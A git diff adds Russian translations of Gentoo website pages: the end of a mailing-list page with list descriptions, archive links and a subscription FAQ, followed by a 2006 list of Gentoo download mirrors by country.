+  <ti>немецкая рассылка еженедельника Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>испанская рассылка еженедельника Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>французская рассылка еженедельника Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>голландская рассылка еженедельника Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>польская рассылка еженедельника Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>немецкая рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>греческая рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>испанская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>финская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>французская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>венгерская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>индонезийская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>итальянская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>литовская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>голландская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>польская рассылка проекта перевода документации Gentoo</ti>
+</tr>
+
+</table>
+
+</body>
+</section>
+<section>
+<title>Прочие рассылки (на английском языке)</title>
+<body>
+
+<table>
+<tr>
+  <th>Название рассылки</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>обсуждение разработки libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    специальная рассылка для &laquo;пастухов&raquo; запросов (ошибок) Gentoo 
+    (Bug Wranglers). Участие в этой рассылке &mdash; только по приглашению. 
+    Если вы хотите подключиться, просто проявляйте активность в bugzilla, 
+    помогая действующим участникам &laquo;пасти&raquo; запросы. Скоро вас 
+    заметят и пригласят стать &laquo;пастухом запросов&raquo;
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>посвящена разработке нового веб-сайта Gentoo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Архивы</title>
+<body>
+
+<p>
+Архивы системы рассылки собраны здесь <br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+Следующие ссылки также предоставляют архивы большинства систем рассылки<br/> 
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/> 
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Некоторые часто задаваемые вопросы</title>
+<body>
+
+<p>
+<b>Я подписался на рассылку с домашнего адреса, а с рабочего в рассылку 
+письма не попадают. Что мне сделать, чтобы это исправить?</b>
+</p>
+
+<p>
+Для сокращения количества спама все наши рассылки настроены так, чтобы 
+принимать сообщения только с почтовых адресов официальных подписчиков. К 
+счастью, <c>mlmmj</c> поддерживает подписку без рассылки 
+(&laquo;nomail&raquo;), позволяя регистрировать дополнительные почтовые адреса, 
+используемые только для писем в рассылку. Вот пример того, как это работает. 
+Скажем, вы подписаны на рассылку <c>gentoo-dev</c> с адреса 
+<c>jim@home.com</c>, и захотели писать в рассылку ещё и со своего адреса 
+<c>james@work.com</c>. Для этого отправьте сообщение (с адреса 
+<c>james@work.com</c>) на <c>gentoo-dev+subscribe-nomail@gentoo.org</c>. Тогда 
+вы сможете писать в <c>gentoo-dev</c> как с домашнего, так и с рабочего адреса 
+электронной почты.
+</p>
+
+<p>
+<b>Я хочу сменить обычную доставку на сводную. Как это сделать?</b>
+</p>
+
+<p>
+Отпишитесь от обычной рассылки, а затем подпишитесь на сводную рассылку. 
+Например, для рассылки <c>названиерассылки</c> это делается отправкой пустых 
+писем по следующим двум адресам:
+</p>
+
+<p>
+<c>названиерассылки+unsubscribe@gentoo.org</c><br/>
+<c>названиерассылки+subscribe-digest@gentoo.org</c>
+</p>
+
+<p>
+<b>Как настроить procmail на фильтрацию сообщений из рассылки Gentoo?</b>
+</p>
+
+<p>
+Для фильтрации входящей почты, поступающей из рассылки <c>названиерассылки</c>,
+пользуйтесь следующим рецептом для <c>procmail</c>:
+</p>
+
+<pre caption="Пример рецепта для procmail">
+:0:
+* ^List-Id:.*названиерассылки\.gentoo\.org
+Mail/названиерассылки
+</pre>
+
+<p>
+Настройка фильтрации совпадает с настройкой для входящих сообщений диспетчера 
+почтовых рассылок <e>Mailman</e>.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/mirrors.xml b/xml/htdocs/main/ru/mirrors.xml
new file mode 100644
index 00000000..43901b49
--- /dev/null
+++ b/xml/htdocs/main/ru/mirrors.xml
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ru">
+<title>Зеркала Gentoo Linux</title>
+
+<author title="автор">
+  Jeffrey Forman
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="ведущий переводчик">
+  Алексей Чумаков
+</author>
+
+<abstract>
+Список зеркал Gentoo
+</abstract>
+
+<version>1.41</version>
+<date>2006-09-06</date>
+
+<chapter>
+<title>Зеркала загрузки Gentoo Linux</title>
+<section>
+<title>Полные зеркала</title>
+<body>
+
+<p>
+Следующие организации поддерживают полное зеркало-источник всех файлов, 
+относящихся к Gentoo Linux, включая установочные компакт-диски, живые 
+компакт-диски и наборы пакетов эталонной платформы Gentoo (GRP). 
+</p>
+
+<note>
+Зеркала предназначены только для загрузки. Включенные в список rsync-зеркала
+<e>не предназначены</e> для личного пользования (<c>emerge --sync</c>),
+поскольку вместо загрузки дерева портежей происходит скачивание зеркала
+целиком.
+</note>
+
+</body>
+</section>
+<section>
+<title>Страны СНГ и Балтии</title>
+<body>
+
+<p><b>Казахстан</b><br/>
+<uri link="http://fido.online.kz/gentoo">Kazakhstan Online (Казахстан/http)</uri><br/>
+<uri link="ftp://fido.online.kz/gentoo/pub">Kazakhstan Online (Казахстан/ftp)</uri><br/>
+</p>
+<!-- Remove as per bug 135733, I'm leaving this for a bit in case they re-open - fox2mike
+<p><b>Литва</b><br/>
+<uri link="ftp://ftp.dtiltas.lt/mirror/gentoo/">Duomenu tiltas (Литва/ftp)</uri><br/>
+</p>
+-->
+<p><b>Россия</b><br/>
+<uri link="http://mirror.aiya.ru/pub/gentoo/">Aiya Mirror (Россия/http)</uri><br/>
+<uri link="ftp://mirror.aiya.ru/pub/gentoo/">Aiya Mirror (Россия/ftp)</uri><br/>
+<uri link="rsync://mirror.aiya.ru/gentoo">Aiya Mirror (Россия/rsync)</uri><br/>
+<uri link="http://ftp.citkit.ru/pub/Linux/gentoo">Citkit.ru (Россия/http)</uri><br/>
+<uri link="ftp://ftp.citkit.ru/pub/Linux/gentoo">Citkit.ru (Россия/ftp)</uri><br/>
+</p>
+<p><b>Узбекистан</b><br/>
+<uri link="http://gentoo.st.uz/gentoo/">Sharq Telecom Internet Service Provider (Uzbekistan/http) </uri><br/>
+<uri link="rsync://gentoo.st.uz/gentoo/">Sharq Telecom Internet Service Provider (Uzbekistan/rsync) </uri><br/>
+</p>
+<p><b>Эстония</b><br/>
+<uri link="http://ftp.linux.ee/pub/gentoo/distfiles/">ftp.linux.ee (Эстония)</uri><br/>
+<uri link="ftp://ftp.linux.ee/pub/gentoo/distfiles/">ftp.linux.ee (Эстония/ftp)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<title>Австралия</title>
+<body>
+
+<p>
+<uri link="http://public.planetmirror.com/pub/gentoo/">PlanetMirror</uri><br/>
+<uri link="ftp://ftp.planetmirror.com/pub/gentoo/">PlanetMirror (ftp)</uri><br/>
+<uri link="http://mirror.pacific.net.au/linux/Gentoo">Pacific Internet</uri><br/>
+<uri link="ftp://mirror.pacific.net.au/linux/Gentoo">Pacific Internet (ftp)</uri><br/>
+<uri link="http://mirror.isp.net.au/ftp/pub/gentoo/">Independent Services Providers (http)</uri><br/>
+<uri link="ftp://mirror.isp.net.au/pub/gentoo/">Independent Services Providers (ftp)</uri><br/>
+<uri link="rsync://mirror.isp.net.au/">Independent Services Providers (rsync)</uri><br/> 
+<uri link="ftp://ftp.swin.edu.au/gentoo">Swinburne University of Technology (ftp)</uri><br/>
+<uri link="http://ftp.swin.edu.au/gentoo">Swinburne University of Technology (http)</uri><br/>
+<uri link="rsync://ftp.swin.edu.au/gentoo">Swinburne University of Technology (rsync)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<title>Азия</title>
+<body>
+
+<p>
+<uri link="http://mirror.gentoo.gr.jp">mirror.gentoo.gr.jp (Япония)</uri><br/>
+<uri link="http://gentoo.gg3.net/">gg3.net (Япония)</uri><br/>
+<uri link="ftp://gg3.net/pub/linux/gentoo/">gg3.net (Япония/ftp)</uri><br/>
+<uri link="ftp://ftp.ecc.u-tokyo.ac.jp/GENTOO">University of Tokyo (Япония/ftp)</uri><br/>
+<uri link="http://gentoo.channelx.biz/">ChannelX.biz (Япония/http)</uri><br/>
+<uri link="http://ftp.jaist.ac.jp/pub/Linux/Gentoo/">Japan Advanced Institute of Science and Technology (Япония/http)</uri><br/>
+<uri link="ftp://ftp.jaist.ac.jp/pub/Linux/Gentoo/">Japan Advanced Institute of Science and Technology (Япония/ftp)</uri><br/>
+<uri link="rsync://ftp.jaist.ac.jp/pub/Linux/Gentoo/">Japan Advanced Institute of Science and Technology (Япония/rsync)</uri><br/>
+<uri link="http://ftp.gentoo.or.kr/">gentoo.or.kr (Южная Корея)</uri><br/>
+<uri link="http://gentoo.kems.net">KEMS-Zajil (Кувейт)</uri><br/>
+<uri link="ftp://gentoo.kems.net/mirrors/gentoo">KEMS-Zajil (Кувейт/ftp)</uri><br/>
+<uri link="rsync://linux.ntcu.net/gentoo-distfiles">linux.ntcu.net (Тайвань/rsync)</uri><br/>
+<uri link="http://gentoo.scphost.com">SiamCellPhone Mirror (Тайланд/http)</uri><br/>
+<uri link="ftp://gentoo.mirrors.scphost.com/pub/mirrors/gentoo/">SiamCellPhone Mirror (Тайланд/ftp)</uri><br/>
+<uri link="http://ftp.isu.edu.tw/pub/Linux/Gentoo">I-Shou University (Тайвань/http)</uri><br/>
+<uri link="ftp://ftp.isu.edu.tw/pub/Linux/Gentoo">I-Shou University (Тайвань/ftp)</uri><br/>
+<uri link="http://ftp.twaren.net/Linux/Gentoo/">National Center for High-Performance Computing (Тайвань/http)</uri><br/>
+<uri link="ftp://ftp.twaren.net/Linux/Gentoo/">National Center for High-Performance Computing (Тайвань/ftp)</uri><br/>
+<uri link="http://ftp.ncnu.edu.tw/Linux/Gentoo/">National Chi Nan University (Taiwan/http)</uri><br/>
+<uri link="ftp://ftp.ncnu.edu.tw/Linux/Gentoo/">National Chi Nan University (Taiwan/ftp)</uri><br/>
+<uri link="rsync://ftp.ncnu.edu.tw/gentoo">National Chi Nan University (Taiwan/rsync)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<title>Европа</title>
+<body>
+<p>
+<b>Австрия</b>
+<br/>
+<uri link="http://gentoo.inode.at/">Inode (Австрия)</uri><br/>
+<uri link="ftp://gentoo.inode.at/source/">Inode (Австрия/ftp)</uri><br/>
+<uri link="http://gd.tuwien.ac.at/opsys/linux/gentoo/">Vienna Univ. of Technology (Австрия/http)</uri><br/>
+<uri link="ftp://gd.tuwien.ac.at/opsys/linux/gentoo/">Vienna Univ. of Technology (Австрия/ftp)</uri><br/>
+<uri link="rsync://gd.tuwien.ac.at/opsys/linux/gentoo/">Vienna Univ. of Technology (Австрия/rsync)</uri><br/>
+</p>
+
+<p>
+<b>Бельгия</b>
+<br/>
+<uri link="http://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/">BELNET (Бельгия)</uri><br/>
+<uri link="ftp://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/">BELNET (Бельгия/ftp)</uri><br/>
+<uri link="rsync://ftp.belnet.be/gentoo/">BELNET (Бельгия/rsync)</uri><br/>
+</p>
+<!-- Removed for Bug 135736 - fox2mike 
+<p>
+<b>Болгария</b>
+<br/>
+<uri link="ftp://gentoo.itdnet.net/gentoo/">ITD Network ISP (Болгария/ftp)</uri><br/>
+<uri link="http://gentoo.ITDNet.net/gentoo">ITD Network ISP (Болгария/http)</uri><br/> 
+</p>
+-->
+<p><b>Великобритания</b><br/>
+<uri link="http://gentoo.blueyonder.co.uk">Blueyonder ISP (Великобритания/http)</uri><br/>
+<uri link="ftp://mirrors.blueyonder.co.uk/mirrors/gentoo">Blueyonder ISP (Великобритания/ftp)</uri><br/>
+<uri link="http://www.mirrorservice.org/sites/www.ibiblio.org/gentoo/">The UK Mirror Service (Великобритания/http)</uri><br/>
+<uri link="ftp://ftp.mirrorservice.org/sites/www.ibiblio.org/gentoo/">The UK Mirror Service (Великобритания/ftp)</uri><br/>
+<uri link="rsync://rsync.mirrorservice.org/www.ibiblio.org/gentoo/">The UK Mirror Service (Великобритания/rsync)</uri><br/>
+</p>
+
+<p><b>Венгрия</b><br/>
+<uri link="http://gentoo.inf.elte.hu/">Eotvos Lorand University (Венгрия/http)</uri><br/>
+<uri link="ftp://gentoo.inf.elte.hu/">Eotvos Lorand University (Венгрия/ftp)</uri><br/>
+<uri link="ftp://ftp.nyx.hu/gentoo">ftp.nyx.hu (Венгрия/ftp)</uri><br/>
+</p>
+
+<p><b>Германия</b><br/>
+<uri link="ftp://ftp.tu-clausthal.de/pub/linux/gentoo/">tu-clausthal.de (Германия/ftp)</uri><br/>
+<uri link="ftp://sunsite.informatik.rwth-aachen.de/pub/Linux/gentoo">rwth-aachen.de (Германия/ftp)</uri><br/>
+<uri link="http://linux.rz.ruhr-uni-bochum.de/download/gentoo-mirror/">Ruhr-Universität Bochum (Германия)</uri><br/>
+<uri link="ftp://linux.rz.ruhr-uni-bochum.de/gentoo-mirror/">Ruhr-Universität Bochum (Германия/ftp)</uri><br/>
+<uri link="rsync://linux.rz.ruhr-uni-bochum.de/gentoo/">Ruhr-Universität Bochum (Германия/rsync)</uri><br/>
+<uri link="http://ftp.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nürnberg (Германия)</uri><br/>
+<uri link="ftp://ftp.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nürnberg (Германия/ftp)</uri><br/>
+<uri link="http://ftp6.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nürnberg (Германия/только ipv6)</uri><br/>
+<uri link="ftp://ftp6.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nürnberg (Германия/ftp/только ipv6)</uri><br/>
+<uri link="ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo">Uni Muenster/JOIN (Германия/ftp)</uri><br/>
+<uri link="rsync://ftp.join.uni-muenster.de/gentoo/">Uni Muenster/JOIN (Германия/rsync)</uri><br/>
+<uri link="ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo">Dresden University of Technology/AG DSN (Германия/ftp)</uri><br/>
+<uri link="ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (Германия/ftp IPV4 &amp; IPV6)*</uri><br/>
+<uri link="ftp://ftp6.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (Германия/ftp IPV4)</uri><br/>
+<uri link="ftp://ftp.ipv6.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (Германия/ftp IPV6)*</uri><br/>
+<uri link="http://mirrors.sec.informatik.tu-darmstadt.de/gentoo/">Technical University of Darmstadt (Германия/http)</uri><br/>
+<uri link="rsync://mirrors.sec.informatik.tu-darmstadt.de/gentoo/">Technical University of Darmstadt (Германия/rsync)</uri><br/>
+<uri link="http://ftp-stud.fht-esslingen.de/pub/Mirrors/gentoo/">University of Applied Sciences, Esslingen (Германия/http)</uri><br/>
+<uri link="ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/gentoo/">University of Applied Sciences, Esslingen (Германия/ftp)</uri><br/>
+<uri link="rsync://ftp-stud.fht-esslingen.de/gentoo/">University of Applied Sciences, Esslingen (Германия/rsync)</uri><br/> 
+<uri link="ftp://ftp.gentoo.mesh-solutions.com/gentoo/">Mesh Solutions Internet Service Provider (Германия/ftp)</uri><br/>
+<uri link="http://pandemonium.tiscali.de/pub/gentoo/">Tiscali Internet Service Provider (Германия/http)</uri><br/>
+<uri link="ftp://pandemonium.tiscali.de/pub/gentoo/">Tiscali Internet Service Provider (Германия/ftp)</uri><br/>
+<uri link="http://gentoo.intergenia.de">Intergenia AG (Германия/http)</uri><br/>
+<uri link="rsync://gentoo.intergenia.de/gentoo-linux">Intergenia AG (Германия/http)</uri><br/>
+</p>
+
+<p><b>Греция</b><br/>
+<uri link="ftp://files.gentoo.gr">files.gentoo.gr (Греция/ftp)</uri><br/>
+<uri link="http://files.gentoo.org">files.gentoo.org (Греция/http)</uri><br/>
+<uri link="ftp://ftp.ntua.gr/pub/linux/gentoo/">National Technical University of Athens (Греция/ftp)</uri><br/>
+<uri link="http://ftp.ntua.gr/pub/linux/gentoo/">National Technical University of Athens (Греция/http)</uri><br/>
+<uri link="ftp://ftp.uoi.gr/mirror/OS/gentoo/">University of Ioannina (Греция/ftp)</uri><br/>
+<uri link="http://ftp.uoi.gr/mirror/OS/gentoo/">University of Ioannina (Греция/http)</uri><br/>
+<uri link="http://ftp.physics.auth.gr/pub/mirrors/gentoo/">Aristotles University of Thessaloniki (Греция/http)</uri><br/>
+<uri link="ftp://ftp.physics.auth.gr/pub/mirrors/gentoo/">Aristotles University of Thessaloniki (Греция/ftp)</uri><br/>
+</p>
+
+<p><b>Дания</b><br/>
+<uri link="http://mirror.uni-c.dk/pub/gentoo/">Danish IT Centre for Education and Research (Дания/ftp)*</uri><br/>
+</p>
+
+<p><b>Израиль</b><br/>
+<uri link="http://mirror.hamakor.org.il/pub/mirrors/gentoo/">Hamakor FOSS Society (Израиль/http)</uri><br/> 
+<uri link="rsync://mirror.hamakor.org.il/gentoo">Hamakor FOSS Society (Израиль/rsync)</uri><br/>
+</p>
+
+<p><b>Ирландия</b><br/>
+<uri link="http://ftp.heanet.ie/pub/gentoo/">Ireland National Education and Research Network (Ирландия/http)*</uri><br/>
+<uri link="ftp://ftp.heanet.ie/pub/gentoo/">Ireland National Education and Research Network (Ирландия/ftp)*</uri><br/>
+</p>
+
+<p><b>Исландия</b><br/>
+<uri link="http://ftp.rhnet.is/pub/gentoo/">RHnet (Исландия/http)</uri><br/>
+<uri link="ftp://ftp.rhnet.is/pub/gentoo/">RHnet (Исландия/ftp)</uri><br/>
+<uri link="rsync://ftp.rhnet.is/gentoo">RHnet (Исландия/rsync)</uri><br/>
+</p>
+
+<p><b>Испания</b><br/>
+<uri link="http://linuv.uv.es/mirror/gentoo/">LinUV at Valencia University (Испания/http)</uri><br/>
+<uri link="ftp://ftp.caliu.info/gentoo">Catalan GNU/Linux Users Group (Испания/ftp) </uri><br/>
+<uri link="http://ftp.caliu.info/gentoo">Catalan GNU/Linux Users Group (Испания/http) </uri><br/>
+</p>
+
+<p><b>Италия</b><br/>
+<uri link="http://www.die.unipd.it/pub/Linux/distributions/gentoo-sources/">University of Padova (Италия)</uri><br/>
+<uri link="rsync://rsync3.it.gentoo.org/gentoo-sources">University of Padova (Италия/rsync)</uri><br/>
+<uri link="ftp://ftp.unina.it/pub/linux/distributions/gentoo">Univerisity of Studies of Napoli, Federico II (Италия/ftp)</uri><br/>
+</p>
+
+<p><b>Нидерланды</b><br/>
+<uri link="http://ftp.snt.utwente.nl/pub/os/linux/gentoo">Universiteit Twente (Нидерланды)</uri><br/>
+<uri link="ftp://ftp.snt.utwente.nl/pub/os/linux/gentoo">Universiteit Twente (Нидерланды/ftp)</uri><br/>
+<uri link="rsync://ftp.snt.utwente.nl/gentoo">Universiteit Twente (Нидерланды/rsync)</uri><br/>
+<uri link="http://ftp.snt.ipv6.utwente.nl/pub/os/linux/gentoo/">Universiteit Twente (Нидерланды)*</uri><br/>
+<uri link="ftp://ftp.snt.ipv6.utwente.nl/pub/os/linux/gentoo/">Universiteit Twente (Нидерланды/ftp)*</uri><br/>
+<uri link="rsync://ftp.snt.ipv6.utwente.nl/gentoo/">Universiteit Twente (Нидерланды/rsync)*</uri><br/>
+<uri link="ftp://mirror.scarlet-internet.nl/pub/gentoo">Scarlet Internet (Нидерланды/ftp)</uri><br/>
+</p>
+
+<p><b>Норвегия</b><br/>
+<uri link="http://mirror.gentoo.no/">Gentoo.no / Gentoo.se (Норвегия/http)</uri><br/>
+</p>
+
+<p><b>Польша</b><br/>
+<uri link="http://src.gentoo.pl">Polish Gentoo (Польша/http)</uri><br/>
+<uri link="rsync://gentoo.prz.edu.pl/gentoo">Rzeszow University of Technology (Польша/rsync)</uri><br/>
+<uri link="http://gentoo.prz.edu.pl">Rzeszow University of Technology (Польша/http)</uri><br/>
+<uri link="http://gentoo.zie.pg.gda.pl">Gdansk University of Technology (Польша/http)</uri><br/>
+<uri link="http://gentoo.po.opole.pl">Technical University of Opole (Польша/http)</uri><br/>
+<uri link="ftp://gentoo.po.opole.pl">Technical University of Opole (Польша/ftp)</uri><br/>
+<uri link="ftp://mirror.icis.pcz.pl/gentoo/">Institute of Computer and Information Sciences, Czestochowa Univ of Technology (Польша/ftp)</uri><br/>
+</p>
+
+<p><b>Португалия</b><br/>
+<uri link="http://darkstar.ist.utl.pt/gentoo/">Instituto Superior Técnico (Португалия)</uri><br/>
+<uri link="ftp://darkstar.ist.utl.pt/pub/gentoo/">Instituto Superior Técnico (Португалия/ftp)</uri><br/>
+<uri link="ftp://ftp.rnl.ist.utl.pt/pub/gentoo/">Instituto Superior Técnico (Португалия/ftp)</uri><br/>
+</p>
+
+<p><b>Румыния</b><br/>
+<uri link="ftp://ftp.lug.ro/gentoo">Romanian Linux Users Group (Румыния/ftp)</uri><br/>
+<uri link="http://ftp.lug.ro/gentoo/">Romanian Linux Users Group (Румыния/http)</uri><br/>
+<uri link="rsync://ftp.lug.ro/gentoo/">Romanian Linux Users Group (Румыния/rsync)</uri><br/>
+<uri link="http://ftp.roedu.net/pub/mirrors/gentoo.org/">Romanian Education Network (Румыния/http)</uri><br/>
+<uri link="ftp://ftp.roedu.net/pub/mirrors/gentoo.org/">Romanian Education Network (Румыния/ftp)</uri><br/>
+<uri link="ftp://ftp.romnet.org/gentoo/">Romanian Network Organization (Румыния/ftp)</uri><br/>
+<uri link="http://ftp.romnet.org/gentoo/">Romanian Network Organization (Румыния/ftp)</uri><br/>
+<uri link="http://mirrors.evolva.ro/gentoo/">Evolva Telecom (Румыния/http)</uri><br/>
+<uri link="ftp://mirrors.evolva.ro/gentoo/">Evolva Telecom (Румыния/ftp)</uri><br/>
+<uri link="rsync://mirrors.evolva.ro/gentoo/">Evolva Telecom (Румыния/rsync)</uri><br/>
+</p>
+
+<p><b>Словакия</b><br/>
+<uri link="http://gentoo.ynet.sk/pub">Gentoo.sk (Словакия/http)</uri><br/>
+</p>
+
+<p><b>Турция</b><br/>
+<uri link="http://ftp.ankara.edu.tr/gentoo/">Ankara University (Турция/http)</uri><br/>
+<uri link="ftp://ftp.ankara.edu.tr/gentoo/">Ankara University (Турция/ftp)</uri><br/>
+<uri link="rsync://ftp.ankara.edu.tr/gentoo/">Ankara University (Турция/rsync)</uri><br/>
+</p>
+
+<p><b>Финляндия</b><br/>
+<uri link="http://trumpetti.atm.tut.fi/gentoo/">tut.fi (Финляндия)*</uri><br/>
+<uri link="ftp://trumpetti.atm.tut.fi/gentoo/">tut.fi (Финляндия/ftp)*</uri><br/>
+<uri link="rsync://trumpetti.atm.tut.fi/gentoo/">tut.fi (Финляндия/rsync)*</uri><br/>
+</p>
+
+<p><b>Франция</b><br/>
+<uri link="http://mirror.ovh.net/gentoo-distfiles/">Ovh Hosting Provider (Франция/http)</uri><br/>
+<uri link="ftp://mirror.ovh.net/gentoo-distfiles/">Ovh Hosting Provider (Франция/ftp)</uri><br/>
+<uri link="http://gentoo.modulix.net/gentoo/">Modulix.com (Франция/http)</uri><br/>
+<uri link="http://ftp.club-internet.fr/pub/mirrors/gentoo">Club-Internet ISP (Франция/http)</uri><br/>
+</p>
+
+<p><b>Чехия</b><br/>
+<uri link="ftp://ftp.sh.cvut.cz/MIRRORS/gentoo/gentoo">Silicon Hill Mirror Site (Чехия/ftp)</uri><br/>
+<uri link="rsync://ftp.fi.muni.cz/pub/linux/gentoo/">Masaryk University Brno (Чехия/rsync)</uri><br/>
+<uri link="rsync://ftp6.linux.cz/pub/linux/gentoo/">Masaryk University Brno (Чехия/rsync)*</uri><br/>
+<uri link="http://gentoo.supp.name/">Advokatni Kancelar Kindl &amp; Partneri (Чехия/http)</uri><br/>
+</p>
+
+<p><b>Швейцария</b><br/>
+<uri link="http://mirror.switch.ch/ftp/mirror/gentoo/">SWITCHmirror (Швейцария/http)*</uri><br/>
+<uri link="ftp://mirror.switch.ch/mirror/gentoo/">SWITCHmirror (Швейцария/ftp)*</uri><br/>
+<uri link="ftp://ftp.solnet.ch/mirror/Gentoo">SolNet (Швейцария/ftp)</uri><br/>
+<uri link="http://gentoo.mirror.solnet.ch">SolNet (Швейцария/http)</uri><br/>
+</p>
+
+<p><b>Швеция</b><br/>
+<uri link="ftp://ftp.du.se/pub/os/gentoo">Hogskolan Dalarna, Dalarna (Швеция/ftp)</uri><br/>
+<uri link="http://ftp.du.se/pub/os/gentoo">Hogskolan Dalarna, Dalarna (Швеция/http)</uri><br/>
+<uri link="http://ds.thn.htu.se/linux/gentoo">högskolan Trollhättan (Швеция/http)</uri><br/>
+</p>
+
+<p><b>Югославия</b><br/>
+<uri link="http://mirror.etf.bg.ac.yu/gentoo">University of Belgrade (Югославия/http)</uri><br/>
+<uri link="ftp://mirror.etf.bg.ac.yu/gentoo/">University of Belgrade (Югославия/ftp)</uri><br/>
+<uri link="rsync://mirror.etf.bg.ac.yu">University of Belgrade (Югославия/rsync)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<title>Северная Америка</title>
+<body>
+
+<p>
+<b>Канада</b>
+<br/>
+<uri link="ftp://cs.ubishops.ca/pub/gentoo">Bishops University Computer Science Department (Канада/ftp)</uri><br/>
+<uri link="http://adelie.polymtl.ca/">Adelie Linux (Канада)</uri><br/>
+<uri link="ftp://gentoo.arcticnetwork.ca/pub/gentoo/">Arctic Network Mirrors (Канада/ftp)</uri><br/>
+<uri link="http://gentoo.arcticnetwork.ca/">Arctic Network Mirrors (Канада/http)</uri><br/>
+</p>
+
+<p>
+<b>Соединенные Штаты</b>
+<br/>
+<uri link="http://gentoo.osuosl.org/">OSU Open Source Lab (США/http)</uri><br/>
+<uri link="ftp://distro.ibiblio.org/pub/linux/distributions/gentoo/">ibiblio.org (США/ftp)</uri><br/>
+<uri link="http://distro.ibiblio.org/pub/linux/distributions/gentoo/">ibiblio.org (США/http)</uri><br/>
+<uri link="rsync://distro.ibiblio.org/pub/linux/distributions/gentoo/">rsync (США/rsync)</uri><br/>
+<uri link="ftp://ftp.gtlib.gatech.edu/pub/gentoo">Georgia Tech (США/ftp)</uri><br/>
+<uri link="http://www.gtlib.gatech.edu/pub/gentoo">Georgia Tech (США/http)</uri><br/>
+<uri link="rsync://rsync.gtlib.gatech.edu/gentoo">Georgia Tech (США/rsync)</uri><br/>
+<uri link="ftp://mirror.iawnet.sandia.gov/pub/gentoo/">Sandia National Labs (США/ftp)</uri><br/>
+<uri link="ftp://ftp.ussg.iu.edu/pub/linux/gentoo">Indiana University (США/ftp)</uri><br/>
+<uri link="ftp://ftp.ucsb.edu/pub/mirrors/linux/gentoo/">University of California, Santa Barbara (США/ftp)</uri><br/>
+<uri link="http://ftp.ucsb.edu/pub/mirrors/linux/gentoo/">University of California, Santa Barbara (США/http)</uri><br/>
+<uri link="http://gentoo.chem.wisc.edu/gentoo/">University of Wisconsin at Madison Chemistry Department (США/http)</uri><br/>
+<uri link="ftp://gentoo.chem.wisc.edu/gentoo/">University of Wisconsin at Madison Chemistry Department (США/ftp)</uri><br/>
+<uri link="http://cudlug.cudenver.edu/gentoo/">University of Colorado at Denver Linux Users Group (США)</uri><br/>
+<uri link="rsync://cudlug.cudenver.edu/gentoo">University of Colorado at Denver Linux Users Group (США/rsync)</uri><br/> 
+<uri link="http://gentoo.mirrors.pair.com/">pair Networks (США/http)</uri><br/>      
+<uri link="ftp://gentoo.mirrors.pair.com/">pair Networks (США/ftp)</uri><br/> 
+<uri link="http://gentoo.mirrors.tds.net/gentoo">TDS Internet Services (США)</uri><br/>
+<uri link="ftp://gentoo.mirrors.tds.net/gentoo">TDS Internet Services (США/ftp)</uri><br/>
